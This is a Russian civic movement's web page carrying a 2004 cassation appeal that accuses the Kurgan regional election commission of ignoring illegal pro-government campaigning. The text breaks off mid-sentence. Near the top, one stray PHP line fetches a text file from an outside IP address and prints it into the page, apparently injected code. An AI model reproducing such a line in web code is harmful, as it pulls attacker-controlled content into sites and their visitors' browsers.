ПРАВОЗАЩИТНАЯ СТРАНИЧКА КУРГАНСКОГО
ОБЛАСТНОГО ОБЩЕСТВЕННОГО ДВИЖЕНИЯ "ЗА ЧЕСТНЫЕ ВЫБОРЫ"
e-mail: gabdis@mail.ru
Пятый угол
правозащитников курганской области

Новости

Выборы были нечестными: заявлено в КАССАЦИОННОЙ ЖАЛОБЕ   движения «ЗА ЧЕСТНЫЕ ВЫБОРЫ».     

29.01.2004


В Коллегию по гражданским делам Верховного Суда РФ <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?>

В Коллегию по гражданским делам Верховного Суда РФ




заявитель: Курганское областное общественное Движение "За
честные выборы" (КооДЧВ)




Ответчики: 1.Курганская Областная Избирательная




                      
Комиссия (ОИК)




адрес: Курган, Гоголя, 25




                    2. Информационное агентство




                       
"ПОЛИТКУРГАН"




адрес:  Курган,
Володарского, 65-а оф.7




                     3.
ФГУП КГТРК,




адрес: Курган, Советская, 105




 




 




Кассационная
жалоба на решение Курганского областного Суда от 14.01.2004 о
признании незаконными бездействия избирательной комиссии Курганской области (ИК
КО) и незаконными (противоправными) распространенные агитматериалы  акции «Я-за! Выбери свое правительство».




 




 




Движение "За честные выборы" согласно с доводами суда о
признании агитационными материалов названной акции,  но несогласно с тем,  что
это не нашло прямого отражения в решении, поскольку из материалов дела видно,
сколько усилий потрачено избирательной комиссией, чтобы дезавуировать в глазах
общественности этот факт,  поставить под
сомнение,  представить его не
окончательным. Это отражено в официальных письмах, запросах, иных документах комиссии
(л.д. 31-32, 59,67,90 и др.).




Полагаем, что дать этому оценку и пресечь спекуляции вокруг этого
вопроса должен был суд,  вынеся об этом
свое заключение, выраженное в решении.




Движение «ЗА ЧЕСТНЫЕ ВЫБОРЫ», выступая в защиту
интересов субъектов избирательного процесса в ходе выборов 2003 года в депутаты
ГД Федерального собрания РФ выявило 
закономерность,   которая дает
основание считать,  что выборы не могут
быть признаны свободными в той интерпретации, какая дается международными
документами: ст.25 Международного Пакта о гражданских и политических правах и
ст.3 Протокола 1 Европейской Конвенции, 
в силу дискриминационных ограничений 
и злоупотреблений свободой информации. При этом субъекты нарушений
остались те же, что в 2000 году.



Так, уже на выборах губернатора в 2000 году была создана
определенная структура государственных и негосударственных СМИ, которые,
полагаем, при молчаливой поддержке органов власти нарушали основные принципы
выборов с целью склонить избирателя к нужному выбору путем предоставления
односторонней информации и нарушений законодательства о СМИ.




Эти структуры («Зауралмедиа» и телекомпания «Регион-45»
возглавляемые А.Дудичем, КГТРК – возглавляемая 
И.Белых,  Комитет по печати
Курганской области, возглавляемый В.Есетовым)  
наиболее активно нарушали законодательство  в рассматриваемом случае, причем в рабочую группу Областной
(окружной) избирательной комиссии вошли и В.Есетов и И.Белых  (л.д.150-153), причем последний назначен в
избирательную комиссию от партии власти «Единство» (л.д.73).  КГТРК и «Регион-45» под видом социальной
рекламы в октябре прокручивали ролики агитации за «Единую Россию» (дело
назначено к слушанию в Верховном Суде 11.02.04 номер 82-Г03), а с 12 ноября в
печати и на телевидении эти же лица и Комитет по печати вместе с «Зауралмедиа»
распространяли агитацию за «Единую Россию» и против КПРФ уже и в интернете и в
газетах,  включая районные.  Причем муниципальные газеты и телевидение за
государственный счет, -  также под видом
социальной рекламы, по указанию Комитета по печати, В.Есетова (л.д.63) .




Вал возмущений поступал от избирателей по названным фактам.
20.11.03 мы обратились в ОИК с заявлением о принятии мер пресечения, и
поскольку ОИК должна была самостоятельно принимать меры к недопущению
незаконной агитации,  начатой еще
12.11.03.  мы, в своем обращении  также запросили  указать,  какие действия
предприняла комиссия по данным фактам. 
В обращении, как видно из дела, 
кроме указания на телевизионные ролики КГТРК, содержалась и  распечатка из интернета, приложенная для
иллюстрации материалов (л.д.19). Там же прямо указывался и источник распространения
- «ПолитКурган», интернет-адрес www.polit.kurgan.ru.  ОИК не предприняла
никаких мер по предотвращению дальнейшего распространения этих материалов,  и по данным, отраженным в деле, она распространялись
вплоть до 03.12.03, а по сообщениям очевидцев и 4.12.03.  Действия ПолитКургана и «Зауралмедиа»,
телекомпании «Регион-45»  не были
затронуты ОИК даже каким-либо его упоминанием.




Откровенные и циничные нарушения избирательных прав представителями
государственных органов вызвали в дальнейшем протестные насторения избирателей
(голосование против всех – 16 % по одномандатникам, - о чем свидетельствует
официальная публикация от 20.12.2003 в газете «Новый мир») и социальную
напряженность,  выразившуюся серьезным
возмущением представителей общественности (л.д. 40-42), в т.ч. высказанным на
заседании общественно-политического совета при губернаторе и областной думе
24.12.03.




Исходя из возложенных на ОИК (в п.3 ст. 20 Закона об основных  гарантиях…) обязанностей по обеспечению  реализации и защиты избирательных прав, мы
полагаем,  что любое распространение
незаконной агитации (о которой известно ОИК), 
является результатом незаконного бездействия ОИК.




 




Рассмотрение нашего обращения от 20.11.03 в ОИК проходило без
приглашения заявителя.  Ссылка на то,
что обращение озаглавлено как запрос, несостоятельно, т.к. в обращении прямо
указывалось на рекламу как незаконную агитацию, указывались ее признаки «не сообщая
выходных данных рекламодателей»
(л.д.18) сообщалось о том, где она распространяется. Поскольку в обязанности
ОИК входит отслеживание нарушений, а указанное нарушение длилось с 12 ноября (9
дней), то для выяснения причин бездействия ОИК в  пунктах 1-3 обращения 
(л.д.18) нами включены вопросы о том, 
допускала ли ОИК эти агитматериалы своим решением («какими
решениями ИК КО закреплено право агитации, из каких бюджетов финансируются
рекламные ролики и содержание интернет-центра, распространяющего агитацию»),  и соблюдены ли требования надлежащего финансирования.
Кроме этого, в силу очевидного бездействия ОИК, в обращении была выражена
просьба указать нормативные документы, 
допускающие такое бездействие («Если избирком считает, что не
обязан анализпровать рекламные блоки, прошу сообщить, какими нормативными
документами это регламентировано»). Содержалась также просьба о
принятии мер («Прошу принять меры по названному факту.») ,  а в приложении дана диаграмма акции,  маскируемой под опрос, с указанием адреса и
сообщалось,  что «Интернет-реклама
адресованна региональным СМИ» (л.д.18).





В установленный законом 5-дневный срок заявителю
ответ дан не был. Когда от избирателей к нам вновь поступили сообщения о выходе
газет с теми же материалами  26.11.03, я
явился для выяснения причин бездействия в ОИК лично, где мне и было
предоставлено для ознакомления решение ОИК от 25.11.03, не содержащее по
существу никаких мер к предотвращению незаконной агитации,  вследствие чего  мной и было заявлено,  что
Движение «ЗА ЧЕСТНЫЕ ВЫБОРЫ»  обратится
в суд в отношении бездействия ОИК.




Только после угрозы обращения в суд ОИК направила нам официальный
ответ от 27.11.03.  Таким образом,
официальный ответ на наше заявление не дан в 5-дневный срок, не говоря уже о
том, что ответ не является ответом по существу и мотивированным, как того
требует закон,  но является откровенным
издевательством.  Вместо надлежащего
разъяснения, представлялись ли агитматериалы ОИК заранее, выяснялось ли их
происхождение и финансирование, как мы того требовали именно в отношении
указанной конкретной незаконной агитации (по тексту: « Прошу
сообщить, какими решениями ИК КО закреплено право агитации, из каких бюджетов
финансируются рекламные ролики и содержание интернет-центра, распространяющего
агитацию».),   ОИК в издевательском тоне
в своем ответе цитирует правила распространения  законной агитации.




Полагаем, что ОИК, направляя такой ответ, цинично демонстрировала,
что своими действиями (бездействием) она обслуживает интересы партии власти, а
потому, не боясь ответственности, 
бросала открытый вызов общественности, которую представляла наша
организация, как защитница прав избирателей.




Само решение ОИК, только формализует указанное циничное отношение
ОИК к праву.




Полагаем,  что суд
неправильно оценил названные обстоятельства, признав, что нет никакого
бездействия избирательной комиссии.




 




Прокуратура, как ей предписано законом,  самостоятельно должна была принимать меры по защите избирательных
прав граждан. Однако, как и в предыдущем случае с незаконной агитацией в пользу  «Единой России» (решение Курганского областного
суда от 25.11.2003 года по заявлению Движения «ЗА ЧЕСТНЫЕ ВЫБОРЫ», слушания в
Верховном Суде назначены 18.02.04), она (прокурор Баркина
Л.В), напротив, выступила в суде с
протестом против наших законных требований.




Из документов, представленных суду,  вполне очевидно,  что
основная активность ОИК в отношении нашего обращения началась именно после
регистрации нашего заявления в суде 03.12.03. 
До этого,  как видим из
документов,  представленных суду,
никаких запросов о содержании видеороликов или объяснений у распространителей и
не запрашивалось (л.д.47 и 55),  а
деятельность ПолитКургана и его интернет-рассылки в районные газеты,  вывешивание в интернете агитации под видом
опроса (л.д.19) вообще ОИК не рассматривала ни после  обращения в ОИК, ни после обращения в суд. В своем решении наши
сообщения об этом (л.д. 18-19) ОИК проигнорировала.   




 Несмотря на то,  что рабочая группа ОИК предлагала пресечь
распространение незаконной агитации (л.д.20), комиссия и это требование
проигнорировала.  Решение избирательной комиссии
от 25.11.03 (л.д.21-23), как видно из материалов дела, выносится исключительно
для внутреннего употребления комиссии, 
т.к. нигде не публиковалось и не доводились до сведения
избирателей и СМИ (пояснения представителя ОИК Ю.Гавриш, л.16 прот
от.08.01.04), и до СМИ никак не доводилось (пояснения представителя ОИК
Ю.Гавриш; - там же),  единственным
представителем СМИ, которого в числе проинформированных о решении 8-82 от
25.11.03 смогла назвать лишь представителя ОИК, - это И.Белых, руководитель
рабочей группы ОИК и сам же распространитель названной агитации – руководитель
КГТРК.




Решение  комиссии никак не
упоминает ни «ПолитКурган» ни интернет-сайт, 
указанный в нашем обращении (л.д. 19). 




Поэтому также полагаем, что суд неправильно оценил названные
обстоятельства и безосновательно отказал в удовлетворении требования о
признании незаконным бездействия   ОИК в
этой части.




 




Заявления Вакушиной (л.д.63), 
Ставрова (л.д.77)  не вызвали
никакой реакции ОИК и только после регистрации нашего заявления в суде, спешно
03.12.03 ОИК имитирует рассмотрение заявления, решая направить запрос Комитету
по печати (л.д.61). В тот же день 3.12.03 рождаются письма  «самому-себе и обратно» от ОИК к КГТРК и тут
же 03.12.03 от КГТРК к ОИК (л.д. 46 и 55-56), 
как будто бы не сам И.Белых-руководитель КГТРК  подписывал 24-го ноября в качестве члена ОИК и руководителя ее
рабочей группы по информационным спорам решение  рабочей группы о пресечении агитации в СМИ (л.д.20). В тот же
день 03 декабря направляется письмо и А.Дудичу, а на другой день получает
ответ.  Очевидно, что эта бурная
деятельность затеяна с единственной целью, 
чтобы скрыть от суда бездействие комиссии,  создать впечатление о неких сомнениях по поводу уже вынесенного
решения от 25.11.03. Для этого, очевидно, сочиняется версия о некоем решении
комиссии, якобы выразившем сомнения, а потому решившем направить  запрос в Уральское территориальное
Управление по делам печати.  Поскольку
представитель многократно ссылался на это решение,  но представить суду его не смог, 
то, очевидно, что это желание ОИК ввести суд в заблуждение.  Об этом же свидетельствует отказ
предоставить суду видеоролики,  которые
были предметом спора,  и о приобщении
которых ходатайствовало наше движение. Однако видеоролики были сокрыты от суда,
под предлогом,  что отправлены в
Уральское тер. Управление по делам печати, но оттуда не возвращены (л.прот.28
от 14.01.03 и замечания к ним), хотя очевидно, что должны были вернуться вместе
с ответом из этого управления (л.д. 158-160). 




Эта же имитация активности в части направления нашего «запроса» в
УВД после завершения выборов 09.12.03 (л.д.49) 
призвана, очевидно,  ввести суд в
заблуждение по поводу принимаемых ею мер. Таким образом,  переправляя наше обращение в УВД для
принятия мер в качестве заявлением о нарушении, ОИК изобличает
свои доводы в суде (л.прот.27 от 14.01.04) о том,  что, якобы,  наше
обращение ОИК не посчитало заявлением, 
а только запросом в их адрес. 
Если бы это было действительно так, 
если бы не считала это заявлением о нарушении, ОИК  не могла бы пересылать  его в УВД для принятия мер.




Таким образом, доводы суда и ОИК по поводу ненадлежащей формы
обращения  Движения «За честные
выборы»  несостоятельны, т.к. ОИК де
факто воспринял документ,  как заявление
о нарушении,  а оспаривает этот факт
лишь с целью  ввести суд в заблуждение.
Следовательно,  обязанность пригласить
на рассмотрение обращения в ОИК автора согласно п.12. ст.75 «Закона о выборах  депутатов…» избирательной комиссией
нарушена. Исходя из указанных фактов, очевидно, что в зависимости от своей
выгоды, ОИК одно и то же обращение расценивает то как запрос, то как заявление
о нарушении. Исходя из этих обстоятельств, отсутствие приглашения на
рассмотрение 25.11.03 обращения движения «За честные выборы» от 20.11.03 – есть
незаконное бездействие,  такого же
мнения придерживался и прокурор в судебном заседании. 




Полагаю, что суд неправильно оценил названные обстоятельства и
неправомерно отказал в удовлетворении данного требования.




 




Ответ на обращение от 20.11.03, как видно из вышеуказанных
материалов дела (ответ датирован 27.11.03), 
не был дан в 5 дневный срок, как предписано нормой п.4 ст.20 «Закона об
основных гарантиях избирательных прав», 
- что также является незаконным бездействием, и




полагаю,  суд неправильно
оценил названные обстоятельства безосновательно отказал в удовлетворении
требования о признании незаконным бездействия  
ОИК в этой части.




 




Представители ОИК в их письме и в суде (л.прот.26 от 14.01.04)
уверяли,  что для составления
административного протокола отведено два дня, 
и, якобы, ОИК не уложилось в своих разбирательствах по этому делу в эти
два дня, а потому и не имела права привлекать к ответственности.  Опровергается это следующими
обстоятельствами дела:  суду не
предоставлено ни одного доказательства совершения каких-либо действий,
связанных с рассмотрением дела в течение 20,21, 22 ноября. Напротив, в деле
имеется документ ОИК за исх.01-24/467 от 03.12.03 указывающий на дату первого
запроса видеороликов материалов акции. 
Таким образом, очевидно, что до запроса видеороликов ни о каких
действиях и не шло речи. 




Полагаем,  что суд
неправильно оценил названные обстоятельства и необоснованно отказал в
удовлетворении требования о признании незаконным бездействия   ОИК и в этой части.




 




По смыслу действующих законов о выборах,  только на избирательные комиссии возлагается обеспечение гарантий
равных прав субъектов выборного процесса (п.3 ст.20 «Закона об основных
гарантиях избирательных прав»).




Зададимся вопросом: достижимо ли в публичных отношениях
обеспечение равных прав,  если
правоприменение осуществляется избирательно в силу пристрастий
правоприменителя?  Очевидно, - нет.
Недопустимость этого заложена в ст.19 Конституции РФ: «Все равны перед законом
и судом».




Исходя же из выводов данного суда, следует,  что законными признаются даже такие действия
избирательной комиссии, которые активно направлены исключительно на пресечение
нарушений, задевающих интерес кандидата «Единой России», и, напротив, не
применяют никаких активных действий, 
чтобы пресекать нарушения, направленные 
против кандидатов КПРФ. 
Полагаем, что такое толкование нормы закона,  якобы предоставляющее правоприменителю возможность по своему
усмотрению применять закон или не применять, 
не соответствует указанной норме Конституции РФ,  поскольку субъекты в этом случае окажутся
перед законом не равны:  предпочтения
отданы исходя из политической ориентации субъектов права по произвольному
желанию правоприменителя. 




Очевидно,  что такое
недопустимо, ибо такие действия подпадают под понятие дискриминации. 




Согласно ст.14 Европейской Конвенции «Пользование
правами и свободами, изложенными в настоящей Конвенции, обеспечивается без
какой либо дискриминации по признакам … политических или иных убеждений».




И согласно ст.26 Международного Пакта о гражданских и политических
правах « закон должен гарантировать всем лицам равную и
эффективную защиту против дискриминации по какому бы то ни было признаку,
как-то … политических или иных убеждений».





 ПосколькуИзбирательной  Комиссии законом предписано обеспечивать равенство
прав и соблюдение норм, включая Пакты и Конвенцию, то, очевидно, что,
применяя  нормы права в интересах одних
субъектов, но в ущерб таким же интересам других субъектов,




 в силу запрета
дискриминации, закрепленного в положении ст.26 Международного   Пакта, подлежащего применению в силу п.4
ст.15 Конституции РФ,




получается, что правоприменитель нарушает требования указанной
нормы п.3 ст.20, Закона об основных гарантиях.




 




Данные факты дискриминации нашли отражение в материалах дела,  и сторонами эти факты не оспаривались.  Мало того, 
представитель ОИК прямо утверждал что только в данном случае выявленных
нарушений не применялось его пресечение (л.протокола  28 от 14.01.04, включая замечания на протокол).




Факты эти отражены и, как видим,  в не подвергавшихся сомнению сторонами
публикации в газете (л.д.149, само решение ОИК по этому факту комиссия
отказалась предоставить в суд), а также ответов представителя ОИК Пшеничникова
(л.протокола  28, включая замечания на протокол
от 14.01.04.).  Аналогично пресекалось
распространение агитации кандидатов Федулева и Остапенко, причем решение
непосредственно принималось на том же заседании что и оспариваемое – 25.11.03,
но, очевидно, с целью сокрытия наше требование (л.д.140) предоставить это
доказательство суду, ОИК   выполнить
отказался, что дает суду основания признать эти обстоятельства.




Причем, когда задеты интересы кандидата от партии власти,  ОИК превышая свои полномочия,
привлекает нарушителя к ответственности 
по ст.5.8 КоАП (л.протокола  28, включая
замечания на протокол от 14.01.04..), в то время как применять данную норму
вправе прокуратура,  либо суд (ст.23.1,
28.3,28.4 КоАП).




Когда же нарушение допущено в интересах партии власти, а такие два
случая нарушения были самыми масштабными (совершенно не сопоставимыми с
нарушениями против интересов этой партии власти, за которое привлечена газета
«Вечерний Курган», л.д.149) ОИК не только не пресекает  нарушения, 
но и до завершения выборов никак не реагирует на продолжающиеся
нарушения,  хотя сама комиссия (п.4
решения от 25.11.03 л.д.21) признала материалы агитацией, подпадающей   под действие ст.64 «Закона об основных
гарантиях избирательных прав…».




Из вышеизложенного следует, 
что суд, необоснованно полагает, 
что если закон наделяет неким правом такого субъекта публичных
правоотношений,  как  правоприменитель (в данном случае ОИК), а не
налагает на него обязанность применения этой конкретной нормы  права (санкций, предусмотренных нормой
права),  то из этого, якобы,
следует,  что  правоприменитель может применять или не применять  данную норму по своему выбору. Поскольку в
деле, как указано выше, имеется не единичный факт подобного избирательного
правоприменения данным субъектом (ОИК), то, очевидно, что отсутствие
единообразного применения нормы есть дискриминация,  и,






Данный материал прошел автоматическую обработку и мог быть искажен, оригинал материала: http://narod.zaural.ru/gabd/news/040129-1.htm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             


Яндекс.Метрика
© 2010 Все права защищены, при использовании
ссылка на сайт движения "За честные выборы" обязательна
закрыть
   
Текст подсказки.